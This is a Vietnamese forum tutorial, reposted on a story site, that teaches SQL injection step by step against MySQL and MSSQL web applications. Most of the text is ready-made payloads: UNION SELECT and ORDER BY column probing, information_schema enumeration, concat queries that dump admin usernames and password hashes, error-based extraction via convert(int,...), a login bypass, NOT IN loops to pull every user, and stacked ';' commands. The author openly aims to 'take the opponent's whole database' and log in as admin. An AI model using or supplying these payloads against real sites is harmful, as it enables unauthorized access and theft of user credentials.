Anken - Full SQL Injection Tutoria - Y!m: This_Love_No1
SQL Injection Tutoria
P1:
Tutorial version English : http://milw0rm.com/papers/202
Đầu tiên : thế nào là SQL Injection
Đây là một trong những lỗi mà thường gặp nhất ở những ứng dụng web ngày nay.
Nó cho phép kẻ tấn công thực thi câu truy vấn trong cơ sở dữ liệu ngay trên địa chỉ website(url) và kiếm được những thông
tin cho phép truy cập.
và một số thông tin bí mật (một cách nhanh chóng).
1.SQL Inject
2.Blind SQL Injection (phần khó nhất).
Vậy hãy bắt đầu
1). Kiểm tra có lỗi hay không?
Đầu tiên chúng ta có 1 số trang web dạng như thế này:
http://www.site.com/news.php?id=5
Bây giờ chúng ta sẽ kiểm tra xem có lỗi hay không? đầu tiên ta thêm kí tự ' vào url
sau khi thêm ta có :
Trích dẫn
http://www.site.com/news.php?id=5'
chúng ta sẽ nhận được 1 số thông báo lỗi ở trang web như:
Trích dẫn
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
hoặc 1 số thông báo tương tự như vậy.
Điều này có nghĩa là có thể tấn công bằng SQL Injection.
2). Tìm số lượng cột:
Để tìm số lượng cột chúng ta sử dụng từ : ORDER BY (hỏi cơ sở dữ liệu xem rằng có bao nhiêu kết quả khi đếm)
vây làm cách nào để sử dụng câu lệnh này? chúng ta sẽ đếm cho đến khi nào nhận được lỗi
http://www.site.com/news.php?id=5 order by 1/* <-- không có lỗi
http://www.site.com/news.php?id=5 order by 2/* <-- không có lỗi
http://www.site.com/news.php?id=5 order by 3/* <-- không có lỗi
http://www.site.com/news.php?id=5 order by 4/* <-- LỖI . chúng ta có thể sẽ nhận được lại thông báo từ website như là :
Unknown column '4' in 'order clause' hoặc 1 số lỗi tương tự như vậy).
Điều này cho chúng ta biết rằng có 3 cột, chúng ta nhận được lỗi ở cột thứ 4 vì thực chất không có cột này --> phát sinh lỗi.
3). Kiểm tra chức năng : UNION
Với lệnh : UNION chúng ta có thể chọn được nhiều dữ liệu trong 1 câu lệnh sql.
Ta có:
http://www.site.com/news.php?id=5 union all select 1,2,3/*
(Ta tìm được có 3 cột ở phần 2.)
nếu chúng ta có thể nhìn thấy 1 vài số như : 1 ; 2 hoặc 3 ở trên màn hình web . Tức là câu lệnh UNION hoạt động
4). Kiểm tra phiên bản(version) của MySQL:
http://www.site.com/news.php?id=5 union all select 1,2,3/*
Chú ý: nếu /* không làm việc hoặc nhận được lỗi, hãy thử lại với 2 kí tự -- . Nó là 1 chú thích(trong sql) và rất quan trọng để
câu truy vấn làm việc đúng.
Ở bước 3, nếu chúng ta nhìn thấy con số 2 ở trên màn hình website, chúng ta sẽ kiểm tra version tại đó.
Ta thay thế số 2 với từ @@version hoặc version() và có thể nhận được 1 vài số như: 4.1.33-log (SQL version 4)hoặc 5.0.45
(SQL version 5)hoặc tương tự.
Sau khi thay vào sẽ được như sau:
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
nếu bạn không nhận được thông tin nào từ việc lấy thông tin kia, chẳng lẽ pó tay?
không, chúng ta cần sử dụng lệnh : convert()
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
hoặc là với hex() và undex() sẽ có:
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
và bạn sẽ lấy được thông tin phiên bản MySQL.
5). Lấy bảng và cột tên:
Có 2 loại phiên bản thông dụng hiện nay là :
< 5 (ví dụ như : 4.1.33, 4.1.12,...)
> 5 (sẽ được hướng dẫn khai thác ở phần sau)
--- Đầu tiên là với version <5:
một số tên bảng phổ biến là: user(s), admin(s). member(s),...
một số tên cột phổ biên là: username, user, usr, user_name, password, pass, passwd, pwd etc...
trở lại phần 2, ta nhận được số 2 trong việc lấy số lượng cột,
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
nếu có bảng admin trong cơ sở dữ liệu, thì ta tiếp theo lấy tên cột:
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
(nếu có lỗi, hãy thử thay bằng 1 số tên khác như : user, usr, user_name etc... hoặc bất cứ cái gì bạn nghĩ ra).
nếu mọi việc đều tốt đẹp, trên màn hình sẽ xuất hiện tài khoản của người quản trị như : admin, superadmin etc...
giờ kiểm tra xem cột mật khẩu có tồn tại không/
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*
(nếu có lỗi -- không nhận được kết quả, bạn hãy thử bằng 1 vài tên khác như :password, pass, passwd, pwd etc...)
ta có thể nhận được mật khẩu dạng chữ hoặc dạng đã được mã hóa (có thể bằng MD5,sha-1,rot13,mysqlhash,...) nó phụ
thuộc vào cách người ta thiết lập cơ sở dữ liệu.
và công việc kết thúc việc truy vấn:
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Trong đó: 0x3a là giá trị hex của dấu hai chấm).
còn 1 số cách khác như hex với ascii, : có char(58)
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
và chúng ta sẽ nhận được kết quả username:password trên màn hình. Ví dụ như : admin:admin hoặc
admin:21232f297a57a5a743894a0e4a801fc3 (MD5 Hash của mật khẩu: admin).
khi có các thông tin này, bạn có thể đăng nhập vào với tài khoảng admin hoặc 1 superuser.
nếu bạn không tài nào đoán được tên bảng, bạn có thể thử với tên: mysql.user (mặc định).
sẽ là :
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from mysql.user/*
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
và bạn sẽ lấy được thông tin phiên bản MySQL.
6). MySQL 5
Cũng giống cách tôi đã giải thích cách để có được tên bảng và tên cột nhưng mà là lấy từ information_schema
trong MySQL > 5
chúng ta biết : information_schema có chứa tất cả các cột trong bảng và cơ sở dữ liệu.
để lấy bảng ta sử dụng : table_name và information_schema.tables
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
chúng ta thay thế số 2 với tên : table_name để lấy bảng thứ nhất từ information_schema.tables.
giờ chúng ta thêm câu LIMIT vào cuối câu truy vấn để tìm kiếm cho ra tất cả các bảng.
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
Lưu ý rằng tôi đặt 0,1 tức là nhận được 1 kết quả từ 0.
tiếp tục, để hiện bảng thứ 2, ta thay đổi limit 0,1 thành limit 1,1
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
bảng thứ 2 hiện ra.
để kiếm bảng thứ 3, ta đổi thành limit 2,1
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
lập lại cho đến khi bạn nhân được thông tin bạn cần như : db_admin, poll_user, auth, auth_user etc...
để lấy tên cột thì cách thức cũng giống như vậy. nhưng là từ information_schema.columns và column_name
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
cột thứ nhất hiện ra.
để cột thứ 2 hiện ra ta đổi từ limit 0,1 thành limit 1,1
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
lập đi lập lại cho đến khi bạn nhận được 1 số tên cột đáng chú ý như:
username, user, login, password, pass, passwd etc...
nếu bạn muốn hiển thị tên cột xem nó cụ thể nằm trong bảng nào, sử dụng câu truy vấn sau (mệnh đề : where).
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where
table_name='users'/*
giờ chúng ta có thể hiển thị tên cột trong bảng : người dùng. Bằng cách giới hạn, chúng ta có thể liệt kê tất cả các cột trong bảng: người sử dụng.
Những câu lệnh trên có thể không sử dụng được nếu Module : Magic Quotes bật (chặn các truy vấn bất hợp pháp).
giả dụ chúng ta đã có được 3 cột là : user, pass và email. Làm sao để lấy thông tin ở các cột này khi magic Quotes bật nhỉ?
chúng ta sẽ sử dụng concat() , một cách thật dễ dàng.
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
chúng ta sẽ nhận được thông tin có dạng : user:pass:email từ bảng users.
ví dụ : admin:hash:[email protected]
Đó là tất cả những gì có ở phần này
anh em thay hay thank minh' một phát nha
P2:
Cái này là mysql thôi còn mssql đâu sao ko post nốt cho đủ bộ
Thế này thì chắc chỉ 20% trong cái gọi là full
bổ sung thêm tut nữa cho anh em đọc cho toét mắt thì thôi
Hầu như mọi người đều biết cách bypass login (' or 1=1--), nhưng như vậy thì bình thường quá phải không?Ai cũng làm được, hôm nay tôi giới thiệu với các bạn các những câu lệnh cơ bản nhất để từng bước nắm được kỹ thuật SQL injection.
1)Lấy tên table và column hiện hành:
Structure :
Login page (or any injection page)::::
username: ' having 1=1--
KQ: -------------------------------
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.ID' is invalid in
the select list because it is not contained in an aggregate function and there is no GROUP
BY clause.
--------------------------------------
----> Ta có được TABLE VICTIM
Tiếp tục
username: ' group by VICTIM.ID having 1=1--
KQ :---------------------------------
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'VICTIM.Vuser' is invalid
in the select list because it is not contained in either an aggregate function or the GROUP
BY clause.
-------------------------------------------
Vậy là ta có column Vuser
2) UNION nhỏ mà hiệu quả
Vâng thưa các bạn, ta có thể dùng nó để lấy được gần như mọi thứ .Trước hết tôi xin nói sơ qua cái Structure của nó :
Login page ::::
username : ' Union select [column] from [table] where [column2=...]--
password : everything
Vd: Giả sử ta đã biết 2 column username và password trong table VTABLE cua db victim là VUSER và VPASS thì ta làm như sau
username : ' Union select VPASS from VTABLE where VUSER='admin'-- (1)
password : everything
(1) : Trong trường hợp này admin là một user mà bạn biết nếu không có thể bỏ trống, nó sẽ cho bạn user đầu tiên
KQ:-----------------------------
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their target
lists.
---------------------------------
Nếu KQ ra như trên có nghĩa là bạn phải union thêm nhiều column nữa để tất cả column
của table VTABLE được Union hết. Structure của nó như sau:
username : ' Union select VPASS,1,1,1...1,1 from VTABLE where VUSER='admin'-- (1)
password : everything
Bạn hãy thêm ",1" cho đến khi kết quả ra đại loại như
--------------------------------
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'tuibihackroi' to a column of data type int.
--------------------------------
Như vậy Pass của user 'admin' là 'tuibihackroi'
............
Vâng thưa các bạn SQL injection thật thú vị, và đây là điều ta có thể làm trong bài viết
hôm nay của tôi : Lấy sạch database của đối phương.
3) Lấy hết value của một column đã biết trong một table đã biết
Bí quyết ở đây là "Not in" Structure của nó như sau (sử dụng ví dụ với column của bài
trước):
Với Vuser là admin ta có thể lấy được các user khác
-----Login Page ::::::
username: ' Union select Vuser,1,1,1...,1 from Vtable where username not in
('admin')-
-------------------------
Vâng, sau đó chúng ta sẽ thu được thêm một user nữa và chỉ việc chèn vào trong Not in (
vd: Not in ('admin','hacker',....)) cứ làm tiếp tục như thế ta sẽ có hết mọi user(dĩ nhiên sau đó là mọi password).
**** Ðể lấy danh sách tên các user theo một quy định mà bạn chọn , ví dụ chi lấy các user có chứa từ admin chẳng hạn ta dùng "like" : cấu trúc
-----Login Page ::::::
username: ' Union select Vuser,1,1,1...,1 from Vtable where username not in ('admin')
like %admin%-
-------------------------
4) Lấy hết table và column của của database:
Bí quyết chính là table này của database : INFORMATION_SCHEMA.TABLES với
column TABLE_NAME (chứa toàn bộ table) và table :
INFORMATION_SCHEMA.COLUMNS với column COLUMN_NAME (chứa toàn bộ
column)
Cách sử dụng dùng Union:
-----Login page :::::::
username: ' UNION SELECT TABLE_NAME,1,1,1...,1 FROM
INFORMATION_SCHEMA.TABLES WHERE .......
---------------------------
Như vậy ta có thể lấy được hết table, sau khi có table ta lấy hết column của table đó :
-----Login page :::::::
username: ' UNION SELECT COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='... ' and ......
---------------------------
Trên đây là những điều căn bản nhất về SQl injection mà tôi có thể cung cấp cho các bạn,còn làm được tốt hay không thì phải có một chút sáng tạo nữa hy vọng nó giúp ích cho các bạn một chút khi gặp một site bị SQl injection
5) Không cần UNION:
Nếu các bạn ngại dùng Union vì những bất tiện của nó thì các bạn có thể dùng "Convert"một cách dẽ dàng hơn để thu thập info qua các thông báo lỗi
Structure :
---login page::::
user : ' + convert (int,(select @@version))--
-------------------------
Trên là một ví dụ để bạn lấy version, giờ đây muốn lấy bất cứ info nào bạn chỉ cần thay vào cái "select @@version" nhưng nhớ nếu là lần đầu tiên get info thì thêm TOP 1 vào nhé
vd: user : ' + convert (int,(select Vpass from Vtable where Vuser='admin'))--
Lưu ý : Nếu các bạn sử dụng không được thì có thể vì dấu + không được chấp nhận, lúc đó hãy thay nó === %2b
vd: user : ' %2b convert (int,(select Vpass from Vtable where Vuser='admin'))--
6) Run command SQL :
Đề run command bạn có thể dùng dấu ";"
Structure :
login page :::::
user :' ; [command]--
Bạn đang đọc truyện trên: AzTruyen.Top